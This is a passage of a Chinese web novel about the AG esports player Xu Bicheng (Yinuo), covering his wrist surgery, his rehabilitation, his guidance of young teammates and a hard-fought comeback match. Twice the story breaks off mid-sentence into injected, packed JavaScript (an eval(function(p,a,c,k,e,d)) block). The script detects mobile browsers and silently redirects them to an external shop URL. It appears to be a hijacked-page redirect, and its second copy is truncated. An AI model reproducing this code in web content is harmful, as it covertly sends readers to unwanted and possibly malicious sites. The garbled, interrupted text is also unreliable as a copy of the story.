徐必成知道她想说什么。Cat退役了,AG失去了一根定海神针。春季赛总决赛虽然输了,但至少打出了气势。现在如果他再缺席,AG就真的成了“新人战队”——五个首发,四个是刚打了一个赛季的新人,还有一个是二队提拔上来的射手。 这样的队伍,能走多远? “手术什么时候做?”Awoke问。 “下周。”徐必成站起来,“我想先回基地,和队友们说一声。” --- 下午四点,AG基地训练室。 空调开得很足,但空气依然沉闷。五个少年坐在电脑前,屏幕上是训练赛的复盘录像,但没人看得进去。 徐必成推门进来时,所有人都抬起头。 “诺哥……”钟意第一个站起来。 徐必成走到白板前,转过身看着他们。长生推了推眼镜,大帅咬着嘴唇,轩染表情凝重,二队射手云黎——这个刚被提拔上一队的17岁少年,紧张地搓着手。 “我下周做手术。”徐必成说得很直接,“右手腕,要休养三个月。秋季赛,我打不了了。” 训练室里一片死寂。 钟意的脸瞬间白了。长生低下头,大帅眼眶发红,轩染握紧了拳头。云黎张了张嘴,想说点什么,但没发出声音。 “这三个月,云黎顶我的位置。”徐必成看向那个紧张得发抖的少年,“别怕,你是我们挑出来的,你有实力。” 云黎用力点头,但手指还在颤抖。 “钟意,你是打野,也是节奏核心。我不在的时候,你要承担更多指挥责任。” “我……我能行吗?”钟意声音发涩。 “你能行。”徐必成说,“春季赛总决赛,你的镜虽然被针对了,但前期的节奏带得很好。相信自己。” 钟意咬紧牙关,点头。 “长生,你是中单,也是团队的大脑。多帮钟意做决策,多和云黎沟通。” “明白。”长生推了推眼镜,眼神坚定。 “大帅,你是辅助,是团队的眼睛。视野,开团,保护——这些都要靠你。” “我会保护好云黎的。”大帅说。 “轩染,你是边路,是团队的盾。该抗压的时候抗压,该carry的时候carry。” “嗯。”轩染点头。 徐必成看着他们,一个个看过去。这些少年,一年前还坐在二队训练室里,怯生生地叫他“诺哥”。现在,他们要独自扛起AG的大旗。 “我不在的这三个月,你们可能会输很多场,可能会被很多人骂。”徐必成说,“但没关系。输不可怕,怕输才可怕。只要你们一直在进步,一直在学习,我就放心。” 他走到云黎身边,拍拍少年的肩膀:“别紧张。训练赛怎么打,比赛就怎么打。队友会保护你,你只要做好自己的事就行。” 云黎深吸一口气:“诺哥,我会努力的。” “好。”徐必成笑了,“那我就可以安心去做手术了。” --- 晚上八点,徐必成一个人坐在二楼阳台。 雨后的成都空气潮湿,远处天府大道上的车流汇成一条光的河流。手机在口袋里震动,他掏出来看,是Cat打来的视频电话。 接通。屏幕里出现Cat的脸,背景是家里的书房,书架上摆满了奖杯和奖牌。 “听说你要手术了?”Cat问。 “嗯,下周。”徐必成把摄像头对准手腕,“医生说不能再拖了。” “疼吗?” “现在还好,打了封闭。” Cat沉默了几秒,说:“我当年也差点做手术。腰伤,医生建议手术,我犹豫了很久,最后选了保守治疗。现在……每到阴雨天就疼得睡不着觉。” 徐必成没说话。 “如果我当年选了手术,可能职业生涯会短两年,但现在的日子会好过很多。”Cat苦笑,“所以,别学我。该手术就手术,身体最重要。” “我知道。”徐必成说,“只是……不甘心。秋季赛,我想带着他们再冲一次。” “你还年轻。”Cat看着屏幕,“职业生涯还长。三个月的休养,换一个健康的未来,值得。” 窗外传来隐约的蝉鸣,夏末的夜晚依然闷热。 “Cat哥,你退役后……习惯吗?”徐必成问。 “不习惯。”Cat实话实说,“第一天睡到自然醒,反而浑身不舒服。打开手机想打训练赛,才发现自己已经退役了。” 他顿了顿:“但慢慢会习惯的。就像你,慢慢会习惯没有我,没有老帅,没有六点六的日子。然后,你会成为别人的依靠,就像我曾经是你的依靠一样。” 徐必成眼眶发热。 “手术那天,我去看你。”Cat说,“等你出院,我请你吃饭。” “好。” 挂断电话,徐必成靠在栏杆上,看着夜空。 成都很少能看到星星,但今晚,天边隐约有几颗在闪烁。 像希望。 微弱,但坚定。 --- 手术前三天,徐必成做了两件事。 第一件,他开了直播。不是训练,不是教学,只是聊天。 开播瞬间,弹幕爆炸: “诺队手怎么样了?” “听说要手术?” “秋季赛还能打吗?” 徐必成调整了一下摄像头,让手腕上的绷带入镜。 “下周手术,要休养三个月。秋季赛打不了了,云黎顶我的位置。”他说得很平静,“希望大家能支持AG,支持这几个新人。” 弹幕有人问:“诺队,你怕吗?” “怕什么?” “怕手术失败,怕状态下滑,怕回不来了。” 徐必成想了想,说:“怕。但怕也得做。就像打比赛,怕输也得打。这就是职业选手的宿命吧。” 直播进行到一半,有个ID叫“薇风拂晓”的人送了个礼物,然后发了一条弹幕:“诺队,我考上医学研究生了,研究方向是运动医学。等你康复了,我想研究电竞选手的职业伤病防护。” 徐必成愣了愣,回复:“恭喜。电竞确实需要更多专业的医学支持。” 又有一条弹幕:“诺队,我是林晓晓。我和陈薇姐组织了全国AG粉丝,等你复出那天,我们会给你一个惊喜。” “谢谢。”徐必成说,“但不用搞这些,好好看比赛就行。” 直播结束后,他收到林晓晓的私信:“诺队,好好养伤。我们永远支持你。” 他回复:“谢谢。我会回来的。” 第二件事,他去了二队训练室。 不是指导,不是训话,只是坐在那里,看五个青训生训练。他们的平均年龄只有16岁,最大的不过17岁,最小的才15岁。 “诺哥!”看到他,五个少年都站了起来。 “坐。”徐必成摆摆手,“我就看看。” 他坐在角落的椅子上,看他们打训练赛。操作还很稚嫩,意识还有欠缺,但能看出潜力——尤其是那个叫“忆安”的边路少年,打法凶悍,敢打敢拼。 训练赛结束,五个少年围过来。 “诺哥,你的手……” “没事,下周手术。”徐必成说,“你们好好练。一队那几个位置,不是固定的。谁打得好,谁就能上。” 五个少年眼睛亮了。 “真的吗?” “真的。”徐必成站起来,“电竞最公平的地方就是,实力说话。我当年也是从青训打上来的。所以,加油。” 离开训练室时,他听到身后传来少年们兴奋的讨论声。 这就是希望。 AG的未来,不仅在一队,也在这些青训生身上。 --- 手术前一天,徐必成回了趟家。 不是成都的出租屋,是江西的老家。高铁五个小时,从平原到丘陵,从城市到小镇。 父母都在家等着。妈妈做了一桌子菜,都是他爱吃的。爸爸沉默地给他夹菜,眼神里满是担忧。 “手术……有风险吗?”爸爸问。 “任何手术都有风险。”徐必成说,“但医生说成功率很高。” “那以后还能打游戏吗?” “能。康复好了,和以前一样。” 爸爸点点头,没再说话。吃完饭,徐必成回到自己的房间。房间还保持着高中时的样子,书架上摆着课本,墙上贴着科比的海报,桌上有台旧电脑。 他打开电脑,登录了自己最早用的那个□□号。空间里有很多老照片——初中毕业照,高中军训,第一次打上王者的截图,第一次直播的观众留言。 往下翻,看到一条2017年的动态:“今天去网吧打了一天游戏,被爸妈骂了。但我觉得,我打得挺好的。” 配图是一张模糊的游戏截图,战绩11-2-5。 那时他15岁,刚接触王者荣耀,还不知道什么是KPL,不知道什么是职业选手。只是单纯地喜欢打游戏,喜欢赢的感觉。 从15岁到19岁,四年时间,他从一个网瘾少年变成了职业选手,拿到了冠军,也经历了低谷。 现在,他要暂时停下来。 不是放弃,是蓄力。 手机震动,是长生发来的消息:“诺哥,我们今天训练赛赢了Estar二队。云黎的马可波罗很秀,拿了五杀。” 徐必成笑了,回复:“很好。继续加油。” “诺哥,你好好手术,别担心我们。” “嗯。” 关掉手机,徐必成躺在床上,看着天花板。 明天,手术。 三个月,康复。 然后,回来。 --- 手术日,成都华西医院。 早上七点,徐必成已经换好手术服。手腕上的绷带拆掉了,露出有些肿胀的关节。 妈妈握着他的左手,爸爸站在床边,俱乐部经理菲菲和教练Awoke也来了。 “别紧张。”菲菲说,“我们都在外面等你。” “嗯。”徐必成点头。 护士推着平床进来,要送他去手术室。临出门前,徐必成忽然说:“等等。” 他看向菲菲:“如果……如果我状态回不来了,俱乐部可以随时换人。不要因为我耽误AG。” 菲菲眼眶一红:“说什么傻话。AG的一诺永远是你。” 平床被推出病房,沿着长长的走廊向前。日光灯在头顶一盏盏掠过,像时光隧道。 手术室门口,徐必成看到了Cat。 这个已经退役的传奇选手,穿着便服,站在那里。 “Cat哥……”徐必成想坐起来。 Cat按住他:“躺着。我就是来看看你。” 他俯下身,在徐必成耳边轻声说:“记住,手术只是暂停,不是结束。我会在解说席上,等你回来。” 徐必成眼眶一热:“好。” 平床被推进手术室,门缓缓关上。 麻醉师走过来,给他戴上氧气面罩。 “深呼吸,数数。” 徐必成深吸一口气,开始数:“一、二、三……” 眼前的世界逐渐模糊。 --- 手术室外,等待的时间格外漫长。 妈妈坐在椅子上,双手合十,默默祈祷。爸爸来回踱步,不时看一眼手术室上方的指示灯。菲菲和Awoke低声交谈,Cat靠在墙上,闭着眼睛。 时间一分一秒过去。 两小时后,手术室的门开了。主刀医生走出来,摘下口罩。 “手术很成功。”医生说,“三角纤维软骨修复了,尺骨茎突的骨折也做了固定。接下来就是康复了。” 所有人都松了口气。 “他什么时候能醒?”妈妈问。 “麻醉过了就能醒。但手腕需要固定六周,之后才能开始康复训练。” “那打游戏……” “至少三个月。”医生说,“而且就算康复了,也不能像以前那样长时间高强度训练。要劳逸结合,定期复查。” 三个月。 AG的秋季赛,徐必成注定要错过了。 --- 术后第三天,徐必成醒了。 右臂打着石膏,固定在胸前,像某种笨拙的铠甲。麻药过了,伤口开始疼,一阵一阵的,像有针在扎。 但他心里很平静。 手术做完了,剩下的就是康复。三个月,他等得起。 手机在旁边,屏幕亮着。他费力地用左手拿起来,点开微信。 消息爆炸了。 队友的慰问,朋友的关心,粉丝的祝福。他一条条看过去,最后停在长生的消息上: “诺哥,我们今天打TTG,输了。但云黎打得很好,输出全场最高。我们会继续努力的。” 徐必成回复:“输不可怕,继续加油。” 刚发送,钟意的电话就打过来了。 “诺哥!你醒了!”钟意的声音很激动,“手术怎么样?疼不疼?” “还行。”徐必成说,“你们今天输了?” “嗯……”钟意的声音低了下去,“我的问题。前期节奏没带好,被不然压制了。” “复盘了吗?” “正在复盘。” “好,好好复盘。下次赢回来。” “嗯!诺哥你好好休息,我们等你回来。” 挂断电话,徐必成打开直播平台。秋季赛已经开始,AG今天有比赛,对手是TTG。他点开回放,用左手艰难地操作。 第一局,AG拿的是野核阵容。钟意的镜开局就被不然的澜压制,野区失守,节奏全无。虽然云黎的马可波罗尽力输出,但终究不敌。 0:1。 第二局,AG换成了射核阵容。但TTG显然研究过他们——疯狂针对云黎,越塔强杀,断他发育。AG再次落败。 0:2。 第三局,AG背水一战,拿出了大乔体系。但配合不够默契,电梯流被打乱,再次输掉比赛。 0:3,被零封。 徐必成关掉回放,靠在床头。 输得很惨。 但在他意料之中。新人战队,缺乏核心领袖,面对TTG这样的强队,输是正常的。 重要的是,从输中学到什么。 他打开笔记本,用左手艰难地写字——分析AG的每一个失误,每一个可以改进的地方。虽然他现在不能上场,但他可以帮队友分析,帮他们进步。 这就是他现在唯一能做的。 --- 术后一周,徐必成出院了。 右臂依然打着石膏,生活起居都需要左手完成。刷牙,吃饭,穿衣——这些简单的事情,现在都变得异常困难。 但他没告诉任何人。 每天,他按时做康复训练——左手的手指操,右臂的肌肉收缩练习。虽然右手不能动,但至少要保证肌肉不萎缩。 每天,他看AG的比赛,做复盘笔记。然后发给教练Awoke,发给队友。 每天,他开直播,不是打游戏,是解说比赛。用专业的角度分析战术,讲解操作。 粉丝们渐渐习惯了——诺队虽然不能打比赛,但还在以另一种方式参与着电竞。 “诺队,AG又输了。”弹幕有人说。 “嗯,看到了。”徐必成说,“但你们看,这局云黎的站位比上局好了很多。这就是进步。” “进步有什么用?还是输。” “电竞不是一场论。”徐必成说,“今天的输,是为了明天的赢。给他们一点时间。” 直播结束后,他收到林晓晓的私信:“诺队,今天AG打Estar,你要不要来现场?我们组织了很多粉丝,想给你加油。” 徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028849|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必成看了看日历——术后两周,医生允许他适当活动了。 “好。”他回复。 --- AG vs Estar,成都主场。 这是徐必成手术后的第一次公开露面。当他戴着口罩,右臂打着石膏,出现在观众席时,整个场馆都沸腾了。 “一诺!一诺!一诺!” 呼喊声山呼海啸。 徐必成对大家挥手,然后在林晓晓和陈薇中间坐下。 “诺队,你的手……”林晓晓眼睛红了。 “没事,快好了。”徐必成笑着说。 比赛开始。 这是AG秋季赛的第五场比赛,此前战绩1胜3负,排在联盟倒数第三。而Estar,Cat退役后实力有所下滑,但依然是一流强队。 第一局,AG拿出了钟意的招牌镜,长生的干将莫邪,云黎的孙尚香,大帅的盾山,轩染的关羽。 阵容很拼,但配合依然生疏。镜的进场时机不对,干将的准度不够,孙尚香的发育被压制。 十五分钟,AG输掉第一局。 0:1。 中场休息,徐必成去了后台。 休息室里,五个少年垂头丧气。 “诺哥……”钟意看到他,眼睛一亮。 “打得不好。”徐必成说得很直接,“但不是技术问题,是配合问题。镜进场的时候,干将的技能在CD。孙尚香输出的时候,盾山的保护不到位。关羽绕后的时机,和团队的脱节了。” 他在白板上快速画着:“第二局,我们换个思路。不打多核,打单核。保云黎发育,其他人当工具人。” “可是……”长生想说点什么。 “没有可是。”徐必成看向云黎,“你敢carry吗?” 云黎深吸一口气:“敢。” “好。”徐必成说,“第二局,四保一。钟意拿蓝领野,长生拿工具人中单,大帅拿保护型辅助,轩染拿坦边。所有经济都给云黎,所有人保护云黎。” Awoke点头:“就这么打。” 第二局BP开始。 AG果然拿出了四保一阵容:云黎的公孙离,钟意的阿古朵,长生的张良,大帅的太乙真人,轩染的猪八戒。 Estar显然没料到AG会这么打,BP有些措手不及。 游戏开始,AG严格执行四保一战术。钟意的阿古朵放弃野区,专注帮中路抢线。长生的张良大招永远留给突进英雄。大帅的太乙真人形影不离保护公孙离。轩染的猪八戒在前排抗压。 云黎的公孙离,经济全场第一,装备成型极快。 十二分钟,AG经济领先两千。 十五分钟,风暴龙王团。Estar殊死一搏,但AG的保护做得太好了。公孙离在人群中飞舞,拿下四杀! 团灭!一波! 1:1! AG扳回一局! “漂亮!”解说席上,Cat忍不住喝彩,“这就是团队的力量!所有人都为一个核心服务!” 现场AG粉丝沸腾了。徐必成站起来,用力鼓掌——用左手。 第三局,Estar调整战术,疯狂针对公孙离。但AG也变了——这一局,核心是长生。 他的干将莫邪,四剑全中,秒掉Estar的双C,拿下三杀。 2:1,AG反超比分。 第四局,Estar背水一战,拿出了Cat曾经的招牌英雄——鬼谷子。但AG的应对更胜一筹,轩染的关羽绕后开团,钟意的澜进场收割。 3:1,AG拿下比赛! 秋季赛第二胜! --- 赛后,AG五人冲向观众席,和徐必成拥抱。 “诺哥!我们赢了!”钟意激动地说。 “打得很好。”徐必成拍拍每个人的肩膀,“尤其是云黎,第一局的公孙离,站位和输出时机都很好。” 云黎脸红了:“是诺哥教得好。” “不,是你们自己打得好。”徐必成说,“记住今天的感觉。团队,信任,执行——这就是赢比赛的关键。” 回基地的车上,徐必成收到Cat的消息:“今天AG打得很好。你在后台的指导,我看到了。” “我只是提了点建议。” “不,你给了他们信心。”Cat说,“这才是领袖该做的——不在场上,也能影响比赛。” 徐必成看着窗外,成都的夜景在车窗外流淌。 三个月,很长。 但也很短。 短到,转眼间,队友已经成长了这么多。 长到,每一天,他都在想念赛场。 --- 术后一个月,石膏拆了。 手腕上留下了一道狰狞的疤痕,像蜈蚣一样趴在皮肤上。关节活动受限,手指僵硬,握拳都困难。 康复师说,这是正常现象。接下来两个月,要每天做康复训练,恢复关节活动度,恢复肌肉力量。 徐必成开始了魔鬼训练。 每天早上六点起床,做一小时的手部康复操。上午去康复中心做理疗,下午做力量训练,晚上看比赛复盘。 右手不能动,就用左手练。左手操作不如右手灵活,那就练到灵活为止。 他下载了一个训练手指灵活度的APP,每天在上面打字、点按、滑动。一开始,左手笨拙得像不是自己的,但一周后,已经可以熟练操作手机了。 “诺哥,你在练左手?”钟意看到他左手打游戏,惊讶地问。 “嗯。”徐必成说,“万一右手回不来了,我还可以用左手打。” “可是……” “没有可是。”徐必成说,“职业选手,要有plan B。” 他确实在认真考虑——如果右手真的无法恢复到职业水准,他就转型左手打野。打野对精细操作的要求相对较低,更多的是意识和节奏。 只要还能打,他就不想放弃。 --- 术后两个月,徐必成第一次用右手握住手机。 很轻,很慢,像握着一件易碎的瓷器。手指勉强能弯曲,但力量只有正常时的三分之一。 他打开训练营,选了自己最熟悉的公孙离。 一技能,位移——慢了0.3秒。 二技能,挡伤——时机不对。 大招,推伞——方向歪了。 曾经行云流水的连招,现在变得磕磕绊绊。曾经能在一秒内完成的极限操作,现在需要三秒,还经常失误。 徐必成盯着屏幕,很久。 然后,他关掉游戏,打开康复训练计划表。 还不够。 还要更努力。 --- 术后两个半月,AG秋季赛结束。 战绩8胜7负,勉强挤进季后赛,但首轮就被DYG 4:1横扫出局。新人战队能打进季后赛,已经算是超额完成任务,但没人满足。 “对不起,诺哥。”钟意低着头,“我们没走得更远。” “已经很好了。”徐必成说,“春季赛,我们再来。” 他的右手已经恢复了七成。精细操作还有些吃力,但日常训练已经没问题了。医生说,再有一个月,就能恢复到九成。 九成,够打比赛了。 2022年春季赛,他就能回归。 --- 新年夜,徐必成开了直播。 不是游戏直播,是聊天直播。右手已经可以正常操作,虽然还有些僵硬,但已经不影响直播了。 “新年快乐。”他对镜头说。 弹幕刷满了“新年快乐”。 “诺队,春季赛能回归吗?” “能。”徐必成说,“1月10号归队训练。” “状态怎么样?” “还在恢复,但打比赛没问题。” 直播到一半,Cat连麦进来了。 “Cat哥。”徐必成打招呼。 “新年快乐。”Cat笑着说,“手怎么样了?” “好多了。” “春季赛,我等着在解说席上看你carry。” “我会的。” 两人聊了一会儿,Cat忽然说:“徐必成,你知道我退役后最后悔的是什么吗?” “什么?” “后悔没有在状态最好的时候,多拿几个冠军。”Cat说,“所以,你要珍惜。你的职业生涯还长,但巅峰期就那么几年。抓住它。” “我会的。” 直播结束后,徐必成走到窗边。 窗外,成都的夜空炸开绚烂的烟花。新的一年来了。 他的手术做完了,康复基本完成了,队友成长了,AG准备好了。 2022年春季赛,他们要从头再来。 从废墟中重建,从低谷中爬起。 这一次,他要带着健康的身体,带着成熟的队友,带着所有人的期待。 再次,向冠军发起冲击。 黎明前的黑暗已经过去。 天,快亮了。 【第十一章·完】 12. 归来的重量 2022年1月,成都AG超玩会训练基地 霜花爬满了落地窗的边缘,成都的冬天总是这样,潮湿而阴冷。训练室内,暖气开得很足,但徐必成还是能感觉到右手腕关节深处传来的、细微的酸痛——像某种顽固的记忆,在每一次点击屏幕时提醒他:你伤过,你要小心。 他摘下耳机,活动了一下手指。关节发出轻微的咔哒声,康复师说这是正常现象,疤痕组织在适应活动。但每响一声,他的心跳就快一拍。 “诺哥,再来一局?”钟意凑过来问。这个打野少年经过一个秋季赛的磨炼,眼神里少了些青涩,多了些沉稳。 “好。”徐必成重新戴上耳机,“这局我打野。” “你打野?”钟意愣了愣,“你的手……” “医生说可以适量训练了。”徐必成点开排位界面,“而且版本变了,坦野当道,我练练猪八戒。” 钟意没再说什么,只是默默选了射手位。长生推了推眼镜,大帅调整了一下座椅,轩染活动了一下肩膀——这五个人,从2021年春天开始并肩作战,现在已经是第三个赛季了。 但不一样了。 徐必成能感觉到那种微妙的氛围变化。他手术缺席了整整一个秋季赛,三个月的时间,足够一支队伍建立新的化学反应,新的默契,新的习惯。现在他回来了,像一个迟到的拼图,要重新嵌回原来的位置。 可那个位置,还在吗? 游戏开始。徐必成的猪八戒蓝开,正常刷野路线。两分钟,他升到四级,准备抓下。但就在他走到河道时,钟意的射手已经单杀了对面。 “Nice。”徐必成说。 “小意思。”钟意笑了,但笑容里有点别的东西——不是骄傲,更像是一种……证明?证明没有徐必成,他也能carry。 徐必成没多想,继续刷野。但接下来的几分钟,他处处别扭。想开团的时候,队友跟不上。想撤退的时候,队友还在打。沟通的节奏,技能的衔接,走位的配合——全乱了。 十五分钟,他们输了。 “我的问题。”徐必成说,“开团时机不对。” “不,是我的问题。”钟意说,“我太想打输出了,没注意你的位置。” 长生和大帅没说话,轩染看着屏幕。 训练室里有些沉默。 “复盘吧。”徐必成站起来,走到白板前。 --- 同一时间,上海某医学院实验室。 林晓晓盯着显微镜下的病理切片,脑子里却全是昨晚看的AG训练赛录播。徐必成回归后的第一场训练赛,AG 1:3输给了TTG二队。 “晓晓,专心点。”导师敲了敲桌子。 “对不起。”林晓晓回过神,继续调整显微镜。 她现在大四,已经保研本校的运动医学专业。研究方向是电竞选手的职业伤病——这个课题在国内还很少有人做,导师很支持,说这是未来的趋势。 但她选择这个方向,不只是因为学术。 是因为那个人。 那个手腕上有一道狰狞疤痕的人。 手机震动,是陈薇发来的微信:“看了昨天的训练赛吗?一诺的状态……好像不太对。” 林晓晓回复:“刚复出,需要时间。” “可是春季赛还有两周就开始了。AG这个赛季的目标是冠军,如果一诺状态回不来……” 林晓晓盯着那句话,很久。 然后她打开电脑,登录一个加密的云盘。里面是她收集的、关于手腕TFCC(三角纤维软骨复合体)损伤的医学论文和康复案例。她花了一个月时间,翻译整理,做成了一份详细的康复指南。 她犹豫了一下,把文件发给了AG俱乐部的官方邮箱。 附言:“我是运动医学专业的学生,也是一诺的粉丝。这份资料可能对他的康复有帮助。希望他能完全恢复,重返巅峰。” 点击发送。 关掉电脑,林晓晓看向窗外。上海的冬天也很冷,但实验室里很暖和。 她想起三年前,在宿舍偷偷看总决赛的那个夜晚。公孙离一推四,她激动得跳起来。 那时她只是个小粉丝。 现在,她正在用自己的方式,为他做点什么。 --- 一周后,AG vs WB,春季赛揭幕战。 成都主场,座无虚席。当大屏幕上出现AG的首发名单时,全场爆发出巨大的欢呼——一诺的名字,时隔四个月,重新出现在首发位。 选手通道,徐必成走在队伍最前面。他能听到自己的心跳,能感觉到右手腕绷带下的疤痕在发烫。队医说可以不打绷带了,但他坚持要打——不是需要,是心理安慰。 “紧张吗?”长生问。 “有点。”徐必成实话实说。 “正常。”长生推了推眼镜,“我第一场比赛也紧张。但上了场就好了。” 徐必成点头。他当然知道上了场就好了,但这次不一样。这次他不仅要打好比赛,还要证明——证明自己还能打,证明手术没有毁掉他的职业生涯,证明他依然是那个“一诺”。 聚光灯亮起,五人走上舞台。 解说席上,Cat穿着西装,表情平静。看到徐必成时,他微微点头。 “欢迎回来。”李九说,“一诺伤愈复出后的第一场比赛,对手是上赛季的四强WB。这对AG来说,是个不小的考验。” 琪琪接话:“而且版本变化很大。坦野崛起,野核削弱,射手的生存环境更加恶劣。一诺要适应新版本,还要找回状态,压力不小。” BP开始。 WB蓝色方,第一轮禁用了镜和澜——针对钟意。AG则按掉了大乔和鲁班大师。 WB一楼抢下了暖阳的招牌英雄——裴擒虎。 “他们想打前期节奏。”Awoke说,“我们拿什么?” “给我猪八戒吧。”钟意说,“我打野。” 猪八戒,版本T0坦野,前期强势,团战搅屎棍。 “好。”Awoke点头,“一楼猪八戒。” AG锁定猪八戒。WB二三楼拿出了梓墨的关羽和花卷的西施。 AG三四楼选择了长生的不知火舞和徐必成的狄仁杰。 WB最后两手锁定了乔兮的马可波罗和星宇的张飞。 AG五楼,轩染拿出了他的招牌英雄——马超。 阵容确定: AG:猪八戒(钟意)、不知火舞(长生)、狄仁杰(一诺)、太乙真人(大帅)、马超(轩染) WB:裴擒虎(暖阳)、西施(花卷)、马可波罗(乔兮)、张飞(星宇)、关羽(梓墨) 加载界面,徐必成深呼吸。 手腕的酸痛还在,但可以忍受。 “记住,这局我们是双核。”他在语音里说,“钟意前期带节奏,我后期接管比赛。” “明白。”钟意说。 游戏开始。 开局,暖阳的裴擒虎果然凶猛。二级就入侵野区,钟意的猪八戒虽然前期强势,但面对裴擒虎的骚扰还是有些吃力。 “让了。”徐必成的狄仁杰在下路稳健补刀,“你发育,我拖后期。” 但WB显然不打算给AG拖后期的机会。四分钟,暖阳带着中辅越塔强杀狄仁杰。即使徐必成操作拉满,还是被西施拉中,送出一血。 “First Blood!” 现场WB粉丝欢呼。 徐必成盯着灰色的屏幕,手指收紧。 不是操作问题——他刚才那波净化秒解了西施的控制,但走位还是慢了半拍。如果是以前,他能躲开。但现在,手腕的僵硬影响了微操。 “我的。”他说。 “没事。”钟意的猪八戒在上路单杀了梓墨的关羽,“我C。” 接下来的比赛,钟意确实在C。他的猪八戒在野区横冲直撞,团战一抗五,给长生和轩染创造了大量输出空间。 而徐必成的狄仁杰呢? 他在发育,在补刀,在等装备。但每次团战,他都感觉自己的操作慢半拍。走位不够精细,输出不够极限,存活率不够高。 十五分钟,风暴龙王团。 钟意的猪八戒闪现开团,大中三人。长生的不知火舞进场收割,轩染的马超七进七出。 但徐必成的狄仁杰,在后方输出时,被梓墨的关羽绕后一刀劈死。 核心输出阵亡,AG团战溃败。WB打出1换4,拿下龙王,带着兵线一波推平水晶。 0:1。 AG输掉第一局。 --- 中场休息,AG休息室。 气氛有些凝重。 “我的问题。”徐必成说,“输出没打够。” “不,是我的问题。”钟意说,“我开团开得太深了,没保护好你。” “我的问题。”长生说,“我切后排没切死。” “我的问题。”大帅说,“我的保护不到位。” “我的问题。”轩染说,“我绕后时机不对。” 教练Awoke看着他们,叹了口气:“不是谁的问题,是配合问题。一诺刚复出,你们还没找到和他配合的节奏。” 徐必成活动了一下手腕。酸痛加剧了,像有针在扎。 “第二局,我们换个打法。”他说,“我不当核心,我当工具人。你们C。” “可是……”钟意想说什么。 “没有可是。”徐必成说,“赢比赛最重要。我现在状态不好,强行当核心只会拖累队伍。等我把状态找回来,再当核心。” Awoke沉吟片刻,点头:“好。第二局,四保一。保钟意。” --- 第二局BP开始。 AG蓝色方,一楼锁定了钟意的澜。WB反手拿出了东皇太一和张良——又是强控阵容。 “他们在针对我们的野核。”长生说。 “那就打三核。”徐必成说,“我拿马可波罗,长生拿不知火舞,轩染拿吕布。我们三个都能carry。” 但WB的准备显然更充分。他们在四楼五楼锁定了老夫子和哪吒——专治AG的灵活阵容。 阵容确定: AG:澜(钟意)、不知火舞(长生)、马可波罗(一诺)、鬼谷子(大帅)、吕布(轩染) WB:裴擒虎(暖阳)、西施(花卷)、狄仁杰(乔兮)、东皇太一(星宇)、老夫子(梓墨) 加载界面,徐必成深吸一口气。 手腕的疼痛已经到了临界点。他能感觉到,每一次点击屏幕,关节都在发出抗议。 但他必须忍。 这一局,他是核心之一。他不能倒下。 游戏开始。 这一局,AG打得很凶。钟意的澜二级就入侵野区,长生的不知火舞三级游走,大帅的鬼谷子闪现开团。 但WB的应对更胜一筹。东皇太一和张良像连体婴儿一样,每次澜露头,必有一个大招等着他。 六分钟,澜被抓死三次,经济落后一千。 “我动不了。”钟意声音有些急躁。 “稳住。”徐必成的马可波罗在下路发育,“等我装备。” 但WB显然不打算等。十分钟,WB带着主宰先锋上高地。梓墨的老夫子闪现开团,大中长生的不知火舞。东皇太一大招吸住澜。 AG瞬间减员两人,高地被破。 虽然徐必成的马可波罗极限操作,拿下三杀,但终究寡不敌众。 水晶爆炸。 0:2。 AG落后两局。 --- 现场,WB粉丝的欢呼声震耳欲聋。 AG粉丝区一片沉默。林晓晓紧紧握着陈薇的手,手心全是汗。 “他的手……”林晓晓低声说,“是不是还没好?” 陈薇没说话,只是看着大屏幕上的回放。导播给了徐必成一个特写镜头——他正在揉手腕,表情有些痛苦。 解说席上,Cat皱起了眉头。 “一诺的状态好像不太对。”李九说,“操作有点僵硬,走位也不够细腻。” “毕竟是刚复出。”琪琪说,“需要时间找回状态。” Cat没接话,只是盯着屏幕。作为曾经的一诺队友,他太了解这个少年了——那个在总决赛上敢一推四的公孙离,那个操作细腻到极致的射手,现在打得畏手畏脚,像换了一个人。 不是技术退步了。 是心理有障碍了。 --- 第三局,AG背水一战。 徐必成主动要求拿工具人射手——狄仁杰。把carry的机会完全让给钟意和长生。 这一局,AG赢了。 钟意的镜carry全场,拿下四杀。长生的干将莫邪四剑全中,秒掉双C。 1:2。 第四局,AG延续了这种打法。徐必成继续拿工具人,队友carry。 又赢了。 2:2。 比分扳平。 但徐必成的心情并没有变好。因为他知道,这两局的胜利,和他关系不大。他只是在混,在躺,在让队友带飞。 这不是他想要的回归。 --- 第五局,巅峰对决。 双方阵容完全镜像:猪八戒、不知火舞、狄仁杰、张飞、马超。 十个一模一样的英雄,绝对的公平,也绝对的残酷。 加载界面,徐必成在语音里说:“这一局,我是核心。” 四个队友都愣住了。 “可是你的手……”钟意说。 “能打。”徐必成说,“相信我。” “好。”钟意说,“我们保你。” 游戏开始。 这一局,双方都打得极其谨慎。前十分钟,人头比1:1,经济差始终在三百以内。 导播很懂地把镜头给到徐必成。大屏幕上,他的表情异常专注,手指在屏幕上飞快滑动。 手腕的疼痛像烈火一样燃烧,但他必须忍。 十三分钟,暴君团。 决定胜负的一波。 暖阳的猪八戒闪现开团,大中三人。花卷的不知火舞进场收割。但几乎同时,钟意的猪八戒也开到了WB的后排。 混战。 徐必成的狄仁杰在后方输出。每一次普攻,每一次走位,每一次技能释放——都精准到极致。 手腕很疼,疼得他想扔掉手机。但他没有。 他想起了手术前的那晚,Cat说的话:“职业选手的宿命,就是明知道会疼,还是要打。” 他想起了康复期间,每天做手指操做到想吐。 他想起了粉丝的期待,队友的信任,自己的不甘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 